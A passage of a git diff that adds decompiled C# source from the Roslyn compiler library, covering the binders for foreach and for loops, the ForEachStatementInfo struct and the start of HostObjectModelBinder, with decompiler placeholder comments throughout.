+ { + return Locals; + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/ForEachLoopBinder.cs", 54); + } + + internal override ImmutableArray GetDeclaredLocalFunctionsForScope(CSharpSyntaxNode scopeDesignator) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/ForEachLoopBinder.cs", 59); + } + + protected override ImmutableArray BuildLocals() + { + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + switch (_syntax.Kind()) + { + case SyntaxKind.ForEachVariableStatement: + { + ForEachVariableStatementSyntax forEachVariableStatementSyntax = (ForEachVariableStatementSyntax)_syntax; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + CollectLocalsFromDeconstruction(forEachVariableStatementSyntax.Variable, LocalDeclarationKind.ForEachIterationVariable, instance, (SyntaxNode)(object)forEachVariableStatementSyntax); + return instance.ToImmutableAndFree(); + } + case SyntaxKind.ForEachStatement: + { + ForEachStatementSyntax forEachStatementSyntax = (ForEachStatementSyntax)_syntax; + return ImmutableArray.Create((LocalSymbol)SourceLocalSymbol.MakeForeachLocal((MethodSymbol)ContainingMemberOrLambda, this, forEachStatementSyntax.Type, forEachStatementSyntax.Identifier, forEachStatementSyntax.Expression)); + } + default: + throw ExceptionUtilities.UnexpectedValue((object)_syntax.Kind()); + } + } + + internal void CollectLocalsFromDeconstruction(ExpressionSyntax declaration, LocalDeclarationKind kind, ArrayBuilder locals, SyntaxNode deconstructionStatement, Binder enclosingBinderOpt = null) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + switch (declaration.Kind()) + { + case SyntaxKind.TupleExpression: + { + Enumerator enumerator = ((TupleExpressionSyntax)declaration).Arguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + ArgumentSyntax current = enumerator.Current; + CollectLocalsFromDeconstruction(current.Expression, kind, locals, deconstructionStatement, enclosingBinderOpt); + } + break; + } + case SyntaxKind.DeclarationExpression: + { + DeclarationExpressionSyntax declarationExpressionSyntax = (DeclarationExpressionSyntax)declaration; + CollectLocalsFromDeconstruction(declarationExpressionSyntax.Designation, declarationExpressionSyntax.Type, kind, locals, deconstructionStatement, enclosingBinderOpt); + break; + } + default: + ExpressionVariableFinder.FindExpressionVariables(this, locals, declaration, null); + break; + case SyntaxKind.IdentifierName: + break; + } + } + + internal void CollectLocalsFromDeconstruction(VariableDesignationSyntax designation, TypeSyntax closestTypeSyntax, LocalDeclarationKind kind, ArrayBuilder locals, SyntaxNode deconstructionStatement, Binder enclosingBinderOpt) + { + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + switch (designation.Kind()) + { + case SyntaxKind.SingleVariableDesignation: + { + SingleVariableDesignationSyntax singleVariableDesignationSyntax = (SingleVariableDesignationSyntax)designation; + SourceLocalSymbol sourceLocalSymbol = SourceLocalSymbol.MakeDeconstructionLocal(ContainingMemberOrLambda, this, enclosingBinderOpt ?? this, closestTypeSyntax, singleVariableDesignationSyntax.Identifier, kind, deconstructionStatement); + locals.Add((LocalSymbol)sourceLocalSymbol); + break; + } + case SyntaxKind.ParenthesizedVariableDesignation: + { + Enumerator enumerator = ((ParenthesizedVariableDesignationSyntax)designation).Variables.GetEnumerator(); + while (enumerator.MoveNext()) + { + VariableDesignationSyntax current = enumerator.Current; + CollectLocalsFromDeconstruction(current, closestTypeSyntax, kind, locals, deconstructionStatement, enclosingBinderOpt); + } + break; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)designation.Kind()); + case SyntaxKind.DiscardDesignation: + break; + } + } + + internal override BoundStatement BindForEachParts(BindingDiagnosticBag diagnostics, Binder originalBinder) + { + return BindForEachPartsWorker(diagnostics, originalBinder); + } + + internal override BoundStatement BindForEachDeconstruction(BindingDiagnosticBag diagnostics, Binder originalBinder) + { + BoundExpression collectionExpr = originalBinder.GetBinder((SyntaxNode)(object)_syntax.Expression).BindRValueWithoutTargetType(_syntax.Expression, diagnostics); + GetEnumeratorInfoAndInferCollectionElementType((SyntaxNode)(object)_syntax, _syntax.Expression, ref collectionExpr, IsAsync, diagnostics, out var inferredType, out var _); + ExpressionSyntax variable = ((ForEachVariableStatementSyntax)_syntax).Variable; + BoundDeconstructValuePlaceholder rightPlaceholder = new BoundDeconstructValuePlaceholder((SyntaxNode)(object)_syntax.Expression, null, isDiscardExpression: false, inferredType.Type ?? CreateErrorType("var")); + DeclarationExpressionSyntax declaration = null; + ExpressionSyntax expression = null; + BoundDeconstructionAssignmentOperator expression2 = BindDeconstruction(variable, variable, _syntax.Expression, diagnostics, ref declaration, ref expression, resultIsUsedOverride: false, rightPlaceholder); + return new BoundExpressionStatement((SyntaxNode)(object)_syntax, expression2); + } + + private BoundForEachStatement BindForEachPartsWorker(BindingDiagnosticBag diagnostics, Binder originalBinder) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_012e: Unknown result type (might be due to invalid IL or missing references) + //IL_0133: Unknown result type (might be due to invalid IL or missing references) + //IL_0233: Unknown result type (might be due to invalid IL or missing references) + //IL_02e3: Unknown result type (might be due to invalid IL or missing references) + //IL_02e9: Invalid comparison between Unknown and I4 + //IL_00ef: Unknown result type (might be due to invalid IL or missing references) + //IL_00f5: Invalid comparison between Unknown and I4 + //IL_030e: Unknown result type (might be due to invalid IL or missing references) + //IL_0195: Unknown result type (might be due to invalid IL or missing references) + //IL_019b: Invalid comparison between Unknown and I4 + //IL_0103: Unknown result type (might be due to invalid IL or missing references) + //IL_0318: Unknown result type (might be due to invalid IL or missing references) + //IL_032f: Unknown result type (might be due to invalid IL or missing references) + //IL_0334: Unknown result type (might be due to invalid IL or missing references) + //IL_0336: Unknown result type (might be due to invalid IL or missing references) + //IL_034d: Expected I4, but got Unknown + //IL_0362: Unknown result type (might be due to invalid IL or missing references) + //IL_0373: Unknown result type (might be due to invalid IL or missing references) + //IL_0557: Unknown result type (might be due to invalid IL or missing references) + //IL_055c: Unknown result type (might be due to invalid IL or missing references) + //IL_0562: Unknown result type (might be due to invalid IL or missing references) + //IL_0564: Unknown result type (might be due to invalid IL or missing references) + //IL_0572: Unknown result type (might be due to invalid IL or missing references) + //IL_0574: Unknown result type (might be due to invalid IL or missing references) + //IL_058c: Unknown result type (might be due to invalid IL or missing references) + //IL_058e: Unknown result type (might be due to invalid IL or missing references) + //IL_05a1: Unknown result type (might be due to invalid IL or missing references) + //IL_05a3: Unknown result type (might be due to invalid IL or missing references) + //IL_05bb: Unknown result type (might be due to invalid IL or missing references) + //IL_05bd: Unknown result type (might be due to invalid IL or missing references) + //IL_05ca: Unknown result type (might be due to invalid IL or missing references) + //IL_05cf: Unknown result type (might be due to invalid IL or missing references) + //IL_060e: Unknown result type (might be due to invalid IL or missing references) + //IL_0613: Unknown result type (might be due to invalid IL or missing references) + //IL_0615: Unknown result type (might be due to invalid IL or missing references) + //IL_0618: Invalid comparison between Unknown and I4 + //IL_063b: Unknown result type (might be due to invalid IL or missing references) + //IL_061a: Unknown result type (might be due to invalid IL or missing references) + //IL_061d: Invalid comparison between Unknown and I4 + //IL_0824: Unknown result type (might be due to invalid IL or missing references) + //IL_0771: Unknown result type (might be due to invalid IL or missing references) + //IL_0776: Unknown result type (might be due to invalid IL or missing references) + //IL_086a: Unknown result type (might be due to invalid IL or missing references) + //IL_086f: Unknown result type (might be due to invalid IL or missing references) + if (IsAsync) + { + Binder.CheckFeatureAvailability(_syntax.AwaitKeyword, MessageID.IDS_FeatureAsyncStreams, diagnostics); + } + BoundExpression collectionExpr = originalBinder.GetBinder((SyntaxNode)(object)_syntax.Expression).BindRValueWithoutTargetType(_syntax.Expression, diagnostics); + bool flag = !GetEnumeratorInfoAndInferCollectionElementType((SyntaxNode)(object)_syntax, _syntax.Expression, ref collectionExpr, IsAsync, diagnostics, out var inferredType, out var builder); + flag |= builder.IsIncomplete; + BoundAwaitableInfo boundAwaitableInfo = null; + MethodSymbol methodSymbol = builder.GetEnumeratorInfo?.Method; + if (methodSymbol != null) + { + originalBinder.CheckImplicitThisCopyInReadOnlyMember(collectionExpr, methodSymbol, diagnostics); + if (methodSymbol.IsExtensionMethod && !flag) + { + (IsAsync ? MessageID.IDS_FeatureExtensionGetAsyncEnumerator : MessageID.IDS_FeatureExtensionGetEnumerator).CheckFeatureAvailability(diagnostics, (Compilation)(object)base.Compilation, collectionExpr.Syntax.Location); + ImmutableArray parameterRefKinds = methodSymbol.ParameterRefKinds; + if (!parameterRefKinds.IsDefault && (int)parameterRefKinds[0] == 1) + { + Binder.Error(diagnostics, ErrorCode.ERR_RefLvalueExpected, SyntaxNodeOrToken.op_Implicit(collectionExpr.Syntax)); + flag = true; + } + } + } + if (IsAsync) + { + ExpressionSyntax expression = _syntax.Expression; + ReportBadAwaitDiagnostics(SyntaxNodeOrToken.op_Implicit(_syntax.AwaitKeyword), diagnostics, ref flag); + BoundAwaitableValuePlaceholder placeholder = new BoundAwaitableValuePlaceholder((SyntaxNode)(object)expression, builder.MoveNextInfo?.Method.ReturnType ?? CreateErrorType()); + boundAwaitableInfo = BindAwaitInfo(placeholder, (SyntaxNode)(object)expression, diagnostics, ref flag); + if (!flag) + { + MethodSymbol? getResult = boundAwaitableInfo.GetResult; + if ((object)getResult == null || (int)getResult.ReturnType.SpecialType != 7) + { + diagnostics.Add(ErrorCode.ERR_BadGetAsyncEnumerator, ((SyntaxNode)expression).Location, methodSymbol.ReturnTypeWithAnnotations, methodSymbol); + flag = true; + } + } + } + bool flag2 = false; + BoundForEachDeconstructStep deconstructionOpt = null; + BoundExpression boundExpression = null; + TypeWithAnnotations typeWithAnnotations; + BoundTypeExpression boundTypeExpression; + switch (_syntax.Kind()) + { + case SyntaxKind.ForEachStatement: + { + ForEachStatementSyntax obj = (ForEachStatementSyntax)_syntax; + flag2 = originalBinder.ValidateDeclarationNameConflictsInScope(IterationVariable, diagnostics); + TypeSyntax type = obj.Type; + if (type is ScopedTypeSyntax scopedTypeSyntax) + { + ModifierUtils.CheckScopedModifierAvailability(type, scopedTypeSyntax.ScopedKeyword, diagnostics); + type = scopedTypeSyntax.Type; + } + if (type is RefTypeSyntax refTypeSyntax) + { + MessageID.IDS_FeatureRefForEach.CheckFeatureAvailability(diagnostics, (SyntaxNode)(object)type); + type = refTypeSyntax.Type; + } + bool isVar; + AliasSymbol alias; + TypeWithAnnotations typeWithAnnotations2 = BindTypeOrVarKeyword(type, diagnostics, out isVar, out alias); + if (isVar) + { + typeWithAnnotations2 = (inferredType.HasType ? inferredType : TypeWithAnnotations.Create(CreateErrorType("var"))); + } + typeWithAnnotations = typeWithAnnotations2; + boundTypeExpression = new BoundTypeExpression((SyntaxNode)(object)type, alias, typeWithAnnotations); + SourceLocalSymbol iterationVariable = IterationVariable; + iterationVariable.SetTypeWithAnnotations(typeWithAnnotations2); + Binder.CheckRestrictedTypeInAsyncMethod(ContainingMemberOrLambda, typeWithAnnotations2.Type, diagnostics, (SyntaxNode)(object)type); + if ((int)iterationVariable.Scope == 2 && !typeWithAnnotations2.Type.IsErrorTypeOrRefLikeType()) + { + diagnostics.Add(ErrorCode.ERR_ScopedRefAndRefStructOnly, ((SyntaxNode)type).Location); + } + if ((int)iterationVariable.RefKind != 0 && CheckRefLocalInAsyncOrIteratorMethod(iterationVariable.IdentifierToken, diagnostics)) + { + flag = true; + } + if (!flag) + { + RefKind refKind = iterationVariable.RefKind; + BindValueKind valueKind = (int)refKind switch + { + 0 => BindValueKind.RValue, + 1 => BindValueKind.Assignable | BindValueKind.RefersToLocation, + 3 => BindValueKind.RefersToLocation, + _ => throw ExceptionUtilities.UnexpectedValue((object)iterationVariable.RefKind), + }; + flag = (((int)builder.InlineArraySpanType != 0) ? (flag | !CheckValueKind(collectionExpr.Syntax, collectionExpr, valueKind, checkingReceiver: false, diagnostics)) : (flag | !CheckMethodReturnValueKind(builder.CurrentPropertyGetter, null, collectionExpr.Syntax, valueKind, checkingReceiver: false, diagnostics))); + } + break; + } + case SyntaxKind.ForEachVariableStatement: + { + ForEachVariableStatementSyntax forEachVariableStatementSyntax = (ForEachVariableStatementSyntax)_syntax; + typeWithAnnotations = (inferredType.HasType ? inferredType : TypeWithAnnotations.Create(CreateErrorType("var"))); + ExpressionSyntax variable = forEachVariableStatementSyntax.Variable; + if (variable.IsDeconstructionLeft()) + { + BoundDeconstructValuePlaceholder boundDeconstructValuePlaceholder = new BoundDeconstructValuePlaceholder((SyntaxNode)(object)_syntax.Expression, null, isDiscardExpression: false, typeWithAnnotations.Type).MakeCompilerGenerated(); + DeclarationExpressionSyntax declaration = null; + ExpressionSyntax expression2 = null; + BoundDeconstructionAssignmentOperator deconstructionAssignment = BindDeconstruction(variable, variable, _syntax.Expression, diagnostics, ref declaration, ref expression2, resultIsUsedOverride: false, boundDeconstructValuePlaceholder); + if (expression2 != null) + { + Binder.Error(diagnostics, ErrorCode.ERR_MustDeclareForeachIteration, (CSharpSyntaxNode)variable); + flag = true; + } + deconstructionOpt = new BoundForEachDeconstructStep((SyntaxNode)(object)variable, deconstructionAssignment, boundDeconstructValuePlaceholder).MakeCompilerGenerated(); + } + else + { + boundExpression = BindToTypeForErrorRecovery(BindExpression(forEachVariableStatementSyntax.Variable, BindingDiagnosticBag.Discarded)); + if (boundExpression.Kind == BoundKind.DiscardExpression) + { + boundExpression = ((BoundDiscardExpression)boundExpression).FailInference(this, null); + } + flag = true; + if (!((SyntaxNode)forEachVariableStatementSyntax).HasErrors) + { + Binder.Error(diagnostics, ErrorCode.ERR_MustDeclareForeachIteration, (CSharpSyntaxNode)variable); + } + } + boundTypeExpression = new BoundTypeExpression((SyntaxNode)(object)variable, null, typeWithAnnotations).MakeCompilerGenerated(); + break; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)_syntax.Kind()); + } + BoundStatement body = originalBinder.BindPossibleEmbeddedStatement(_syntax.Statement, diagnostics); + ImmutableArray locals = Locals; + flag = flag || boundTypeExpression.HasErrors || typeWithAnnotations.Type.IsErrorType(); + if (flag) + { + return new BoundForEachStatement((SyntaxNode)(object)_syntax, null, null, null, boundTypeExpression, locals, boundExpression, collectionExpr, deconstructionOpt, boundAwaitableInfo, body, BreakLabel, ContinueLabel, flag); + } + flag = flag || flag2; + SyntaxToken forEachKeyword = _syntax.ForEachKeyword; + ReportDiagnosticsIfObsolete(diagnostics, methodSymbol, SyntaxNodeOrToken.op_Implicit(forEachKeyword), hasBaseReceiver: false); + Binder.ReportDiagnosticsIfUnmanagedCallersOnly(diagnostics, methodSymbol, SyntaxNodeOrToken.op_Implicit(forEachKeyword), isDelegateConversion: false); + ReportDiagnosticsIfObsolete(diagnostics, builder.MoveNextInfo.Method, SyntaxNodeOrToken.op_Implicit(forEachKeyword), hasBaseReceiver: false); + ReportDiagnosticsIfObsolete(diagnostics, builder.CurrentPropertyGetter, SyntaxNodeOrToken.op_Implicit(forEachKeyword), hasBaseReceiver: false); + ReportDiagnosticsIfObsolete(diagnostics, builder.CurrentPropertyGetter.AssociatedSymbol, SyntaxNodeOrToken.op_Implicit(forEachKeyword), hasBaseReceiver: false); + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + Conversion conversion = base.Conversions.ClassifyConversionFromType(inferredType.Type, typeWithAnnotations.Type, base.CheckOverflowAtRuntime, ref useSiteInfo, forCast: true); + bool flag3 = conversion.Kind != ConversionKind.Identity; + if (flag3) + { + RefKind refKind = IterationVariable.RefKind; + bool flag4 = (((int)refKind == 1 || (int)refKind == 3) ? true : false); + flag3 = flag4; + } + if (flag3) + { + Binder.Error(diagnostics, ErrorCode.ERR_RefAssignmentMustHaveIdentityConversion, SyntaxNodeOrToken.op_Implicit(collectionExpr.Syntax), typeWithAnnotations.Type); + flag = true; + } + BoundValuePlaceholder boundValuePlaceholder = new BoundValuePlaceholder((SyntaxNode)(object)_syntax, inferredType.Type).MakeCompilerGenerated(); + BindingDiagnosticBag instance; + if (!conversion.IsValid) + { + ImmutableArray originalUserDefinedConversions = conversion.OriginalUserDefinedConversions; + if (originalUserDefinedConversions.Length > 1) + { + diagnostics.Add(ErrorCode.ERR_AmbigUDConv, ((SyntaxToken)(ref forEachKeyword)).GetLocation(), originalUserDefinedConversions[0], originalUserDefinedConversions[1], inferredType.Type, typeWithAnnotations); + } + else + { + SymbolDistinguisher symbolDistinguisher = new SymbolDistinguisher(base.Compilation, inferredType.Type, typeWithAnnotations.Type); + diagnostics.Add(ErrorCode.ERR_NoExplicitConv, ((SyntaxToken)(ref forEachKeyword)).GetLocation(), symbolDistinguisher.First, symbolDistinguisher.Second); + } + flag = true; + instance = BindingDiagnosticBag.GetInstance(withDiagnostics: false, withDependencies: false); + } + else + { + instance = BindingDiagnosticBag.GetInstance(diagnostics); + } + BoundExpression elementConversion = CreateConversion((SyntaxNode)(object)_syntax, boundValuePlaceholder, conversion, isCast: false, null, typeWithAnnotations.Type, instance); + if (((BindingDiagnosticBag)instance).AccumulatesDiagnostics && !((BindingDiagnosticBag)instance).DiagnosticBag.IsEmptyWithoutResolution) + { + ((BindingDiagnosticBag)(object)diagnostics).AddDependencies((BindingDiagnosticBag)(object)instance, false); + SyntaxToken forEachKeyword2 = _syntax.ForEachKeyword; + Location location = ((SyntaxToken)(ref forEachKeyword2)).GetLocation(); + foreach (Diagnostic item in ((BindingDiagnosticBag)instance).DiagnosticBag.AsEnumerableWithoutResolution()) + { + ((BindingDiagnosticBag)diagnostics).Add(item.WithLocation(location)); + } + } + else + { + ((BindingDiagnosticBag)(object)diagnostics).AddRange((BindingDiagnosticBag)(object)instance, false); + } + ((BindingDiagnosticBag)(object)instance).Free(); + Conversion collectionConversionClassification = base.Conversions.ClassifyConversionFromExpression(collectionExpr, builder.CollectionType, base.CheckOverflowAtRuntime, ref useSiteInfo); + Conversion conversion2 = base.Conversions.ClassifyConversionFromType(builder.CurrentPropertyGetter.ReturnType, builder.ElementType, base.CheckOverflowAtRuntime, ref useSiteInfo); + TypeSymbol returnType = methodSymbol.ReturnType; + if ((int)builder.InlineArraySpanType == 0 && returnType.IsRestrictedType() && (IsDirectlyInIterator || IsInAsyncMethod())) + { + diagnostics.Add(ErrorCode.ERR_BadSpecialByRefIterator, ((SyntaxToken)(ref forEachKeyword)).GetLocation(), returnType); + } + ((BindingDiagnosticBag)(object)diagnostics).Add(_syntax.ForEachKeyword, useSiteInfo); + BoundExpression expression3 = ConvertForEachCollection(collectionExpr, collectionConversionClassification, builder.CollectionType, diagnostics); + if (conversion2.IsValid) + { + builder.CurrentPlaceholder = new BoundValuePlaceholder((SyntaxNode)(object)_syntax, builder.CurrentPropertyGetter.ReturnType).MakeCompilerGenerated(); + builder.CurrentConversion = CreateConversion((SyntaxNode)(object)_syntax, builder.CurrentPlaceholder, conversion2, isCast: false, null, builder.ElementType, diagnostics); + } + if (builder.NeedsDisposal && IsAsync) + { + flag |= GetAwaitDisposeAsyncInfo(ref builder, diagnostics); + } + return new BoundForEachStatement((SyntaxNode)(object)_syntax, builder.Build(Flags), boundValuePlaceholder, elementConversion, boundTypeExpression, locals, boundExpression, expression3, deconstructionOpt, boundAwaitableInfo, body, BreakLabel, ContinueLabel, flag); + } + + private bool GetAwaitDisposeAsyncInfo(ref ForEachEnumeratorInfo.Builder builder, BindingDiagnosticBag diagnostics) + { + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + TypeSymbol type = (((object)builder.PatternDisposeInfo == null) ? GetWellKnownType((WellKnownType)296, diagnostics, (SyntaxNode)(object)_syntax) : builder.PatternDisposeInfo.Method.ReturnType); + bool hasErrors = false; + ExpressionSyntax expression = _syntax.Expression; + ReportBadAwaitDiagnostics(SyntaxNodeOrToken.op_Implicit(_syntax.AwaitKeyword), diagnostics, ref hasErrors); + BoundAwaitableValuePlaceholder placeholder = new BoundAwaitableValuePlaceholder((SyntaxNode)(object)expression, type); + builder.DisposeAwaitableInfo = BindAwaitInfo(placeholder, (SyntaxNode)(object)expression, diagnostics, ref hasErrors); + return hasErrors; + } + + internal TypeWithAnnotations InferCollectionElementType(BindingDiagnosticBag diagnostics, ExpressionSyntax collectionSyntax) + { + BoundExpression collectionExpr = GetBinder((SyntaxNode)(object)collectionSyntax).BindValue(collectionSyntax, diagnostics, BindValueKind.RValue); + GetEnumeratorInfoAndInferCollectionElementType((SyntaxNode)(object)_syntax, collectionSyntax, ref collectionExpr, IsAsync, diagnostics, out var inferredType, out var _); + return inferredType; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ForEachStatementInfo.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ForEachStatementInfo.cs new file mode 100644 index 0000000..a4312fc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ForEachStatementInfo.cs @@ -0,0 +1,58 @@ +using System; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +public readonly struct ForEachStatementInfo : IEquatable +{ + public bool IsAsynchronous { get; } + + public IMethodSymbol? GetEnumeratorMethod { get; } + + public IMethodSymbol? MoveNextMethod { get; } + + public IPropertySymbol? CurrentProperty { get; } + + public IMethodSymbol? DisposeMethod { get; } + + public ITypeSymbol? ElementType { get; } + + public Conversion ElementConversion { get; } + + public Conversion CurrentConversion { get; } + + internal ForEachStatementInfo(bool isAsync, IMethodSymbol getEnumeratorMethod, IMethodSymbol moveNextMethod, IPropertySymbol currentProperty, IMethodSymbol disposeMethod, ITypeSymbol elementType, Conversion elementConversion, Conversion currentConversion) + { + IsAsynchronous = isAsync; + GetEnumeratorMethod = getEnumeratorMethod; + MoveNextMethod = moveNextMethod; + CurrentProperty = currentProperty; + DisposeMethod = disposeMethod; + ElementType = elementType; + ElementConversion = elementConversion; + CurrentConversion = currentConversion; + } + + public override bool Equals(object? obj) + { + if (obj is ForEachStatementInfo) + { + return Equals((ForEachStatementInfo)obj); + } + return false; + } + + public bool Equals(ForEachStatementInfo other) + { + if (IsAsynchronous == other.IsAsynchronous && object.Equals(GetEnumeratorMethod, other.GetEnumeratorMethod) && object.Equals(MoveNextMethod, other.MoveNextMethod) && object.Equals(CurrentProperty, other.CurrentProperty) && object.Equals(DisposeMethod, other.DisposeMethod) && object.Equals(ElementType, other.ElementType) && ElementConversion == other.ElementConversion) + { + return CurrentConversion == other.CurrentConversion; + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(IsAsynchronous, Hash.Combine(GetEnumeratorMethod, Hash.Combine(MoveNextMethod, Hash.Combine(CurrentProperty, Hash.Combine(DisposeMethod, Hash.Combine(ElementType, Hash.Combine(ElementConversion.GetHashCode(), CurrentConversion.GetHashCode()))))))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ForLoopBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ForLoopBinder.cs new file mode 100644 index 0000000..1f0330c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ForLoopBinder.cs @@ -0,0 +1,134 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class ForLoopBinder : LoopBinder +{ + private readonly ForStatementSyntax _syntax; + + internal override SyntaxNode ScopeDesignator => (SyntaxNode)(object)_syntax; + + public ForLoopBinder(Binder enclosing, ForStatementSyntax syntax) + : base(enclosing) + { + _syntax = syntax; + } + + protected override ImmutableArray BuildLocals() + { + //IL_00b5: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + if (_syntax.Declaration != null) + { + _syntax.Declaration.Type.VisitRankSpecifiers(delegate(ArrayRankSpecifierSyntax rankSpecifier, (ForLoopBinder binder, ArrayBuilder locals) args) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator2 = rankSpecifier.Sizes.GetEnumerator(); + while (enumerator2.MoveNext()) + { + ExpressionSyntax current2 = enumerator2.Current; + if (current2.Kind() != SyntaxKind.OmittedArraySizeExpression) + { + ExpressionVariableFinder.FindExpressionVariables(args.binder, args.locals, current2, null); + } + } + }, (this, instance)); + Enumerator enumerator = _syntax.Declaration.Variables.GetEnumerator(); + while (enumerator.MoveNext()) + { + VariableDeclaratorSyntax current = enumerator.Current; + SourceLocalSymbol sourceLocalSymbol = MakeLocal(_syntax.Declaration, current, LocalDeclarationKind.RegularVariable, allowScoped: true); + instance.Add((LocalSymbol)sourceLocalSymbol); + ExpressionVariableFinder.FindExpressionVariables(this, instance, current, null); + } + } + else + { + ExpressionVariableFinder.FindExpressionVariables(this, instance, _syntax.Initializers); + } + return instance.ToImmutableAndFree(); + } + + internal override BoundForStatement BindForParts(BindingDiagnosticBag diagnostics, Binder originalBinder) + { + return BindForParts(_syntax, originalBinder, diagnostics); + } + + private BoundForStatement BindForParts(ForStatementSyntax node, Binder originalBinder, BindingDiagnosticBag diagnostics) + { + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + BoundStatement initializer; + if (_syntax.Declaration != null) + { + bool isScoped; + TypeSyntax typeSyntax = _syntax.Declaration.Type.SkipScoped(out isScoped); + if (typeSyntax is RefTypeSyntax) + { + MessageID.IDS_FeatureRefFor.CheckFeatureAvailability(diagnostics, (SyntaxNode)(object)typeSyntax); + } + initializer = originalBinder.BindForOrUsingOrFixedDeclarations(node.Declaration, LocalDeclarationKind.RegularVariable, diagnostics, out var _); + } + else + { + initializer = originalBinder.BindStatementExpressionList(node.Initializers, diagnostics); + } + BoundExpression condition = null; + ImmutableArray innerLocals = ImmutableArray.Empty; + ExpressionSyntax condition2 = node.Condition; + if (condition2 != null) + { + originalBinder = originalBinder.GetBinder((SyntaxNode)(object)condition2); + condition = originalBinder.BindBooleanExpression(condition2, diagnostics); + innerLocals = originalBinder.GetDeclaredLocalsForScope((SyntaxNode)(object)condition2); + } + BoundStatement boundStatement = null; + SeparatedSyntaxList incrementors = node.Incrementors; + if (incrementors.Count > 0) + { + ExpressionSyntax expressionSyntax = incrementors.First(); + Binder? binder = originalBinder.GetBinder((SyntaxNode)(object)expressionSyntax); + boundStatement = binder.BindStatementExpressionList(incrementors, diagnostics); + ImmutableArray declaredLocalsForScope = binder.GetDeclaredLocalsForScope((SyntaxNode)(object)expressionSyntax); + if (!declaredLocalsForScope.IsEmpty) + { + boundStatement = ((boundStatement.Kind != BoundKind.StatementList) ? new BoundBlock(boundStatement.Syntax, declaredLocalsForScope, ImmutableArray.Create(boundStatement)) + { + WasCompilerGenerated = true + } : new BoundBlock((SyntaxNode)(object)expressionSyntax, declaredLocalsForScope, ((BoundStatementList)boundStatement).Statements) + { + WasCompilerGenerated = true + }); + } + } + BoundStatement body = originalBinder.BindPossibleEmbeddedStatement(node.Statement, diagnostics); + return new BoundForStatement((SyntaxNode)(object)node, Locals, initializer, innerLocals, condition, boundStatement, body, BreakLabel, ContinueLabel); + } + + internal override ImmutableArray GetDeclaredLocalsForScope(SyntaxNode scopeDesignator) + { + if ((object)_syntax == scopeDesignator) + { + return Locals; + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/ForLoopBinder.cs", 147); + } + + internal override ImmutableArray GetDeclaredLocalFunctionsForScope(CSharpSyntaxNode scopeDesignator) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/ForLoopBinder.cs", 152); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/HostObjectModelBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/HostObjectModelBinder.cs new file mode 100644 index 0000000..f40eee7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/HostObjectModelBinder.cs @@ -0,0 +1,48 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class HostObjectModelBinder : Binder +{ + public HostObjectModelBinder(Binder next) + : base(next) + { + } + + private TypeSymbol GetHostObjectType() + { + return base.Compilation.GetHostObjectTypeSymbol(); + } + + internal override void LookupSymbolsInSingleBinder(LookupResult result, string name, int arity, ConsList basesBeingResolved, LookupOptions options, Binder originalBinder, bool diagnose, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: 